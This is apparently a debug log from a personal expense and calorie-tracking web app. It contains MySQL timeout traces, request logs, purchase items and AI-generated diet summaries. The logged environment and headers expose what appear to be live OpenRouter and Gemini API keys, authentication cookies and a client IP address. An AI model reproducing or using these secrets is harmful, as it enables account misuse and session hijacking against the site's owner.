  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 12:37:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 12:37:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 12:44:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 12:44:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 16:17:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 16:17:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 17:07:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 17:07:45' as DATETIME)"
}
2025-12-20T17:36:24.155Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T17:36:24.156Z server-connect:app Executing action step identify
2025-12-20T17:36:24.156Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:24.156Z server-connect:output identity: 1
2025-12-20T17:36:24.156Z server-connect:app Executing action step restrict
2025-12-20T17:36:24.156Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T17:36:24.158Z server-connect:output restrict: undefined
2025-12-20T17:36:24.158Z server-connect:router Render template calorie-tracker
2025-12-20T17:36:24.158Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T17:36:24.465Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T17:36:24.465Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T17:36:24.466Z server-connect:app Executing action step identify
2025-12-20T17:36:24.466Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:24.466Z server-connect:output identity: 1
2025-12-20T17:36:24.466Z server-connect:app Executing action step restrict
2025-12-20T17:36:24.466Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:24.466Z server-connect:output restrict: undefined
2025-12-20T17:36:24.466Z server-connect:app Executing action step single
2025-12-20T17:36:24.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T17:36:24.466Z server-connect:app Executing action step identify
2025-12-20T17:36:24.466Z server-connect:app options: { provider: 'security' }
2025-12-20T17:36:24.466Z server-connect:output identity: 1
2025-12-20T17:36:24.467Z server-connect:app Executing action step restrict
2025-12-20T17:36:24.467Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:36:24.468Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a good inclusion of protein sources like paneer and whey, supporting muscle development. However, the meal composition leans heavily on carbohydrates and fats, with limited variety. Consistent early morning gym sessions are a positive for your goals. The recent weight trend indicates a gradual decrease, suggesting the current routine is moving in the right direction.",
    bad_points: [
      'Limited variety in food choices.',
      'High reliance on milk and bananas, potentially leading to a carbohydrate and fat imbalance.',
      'Lack of fibrous vegetables or other nutrient-dense food groups.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Consistent early morning gym workouts.',
      'Recent weight logs show a downward trend.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables and fruits to enhance nutrient intake and fiber.',
      'Consider adding lean protein sources beyond paneer and whey.',
      'Ensure adequate hydration throughout the day.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T17:36:24.469Z server-connect:output restrict: undefined
2025-12-20T17:36:24.469Z server-connect:app Executing action step single
2025-12-20T17:36:24.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T17:36:24.471Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T17:36:24.471Z server-connect:app Executing action step select
2025-12-20T17:36:24.471Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T17:36:24.473Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 464,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
  },
  {
    id: 465,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple,Pear',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
  },
  {
    id: 466,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios (in moderation)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
  },
  {
    id: 467,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Pear',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 468,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 469,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 470,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-20T05:03:12.000Z',
    skip_level: 1,
    skip_reason: 'Generally good for health, especially without added sugar. Provides some protein and calcium from milk. For muscle development, protein is beneficial.'
  }
]
2025-12-20T17:36:24.473Z server-connect:app Executing action step setvalue
2025-12-20T17:36:24.473Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T17:36:24.473Z server-connect:output var_total: 1230
2025-12-20T17:36:24.473Z server-connect:app Executing action step setvalue
2025-12-20T17:36:24.473Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T17:36:24.473Z server-connect:output var_consumed: 51
2025-12-20T17:36:24.473Z server-connect:app Executing action step setvalue
2025-12-20T17:36:24.473Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T17:36:24.474Z server-connect:output var_deficit: 1170
2025-12-20T17:36:24.474Z server-connect:app Executing action step custom
2025-12-20T17:36:24.474Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T17:36:24.475Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
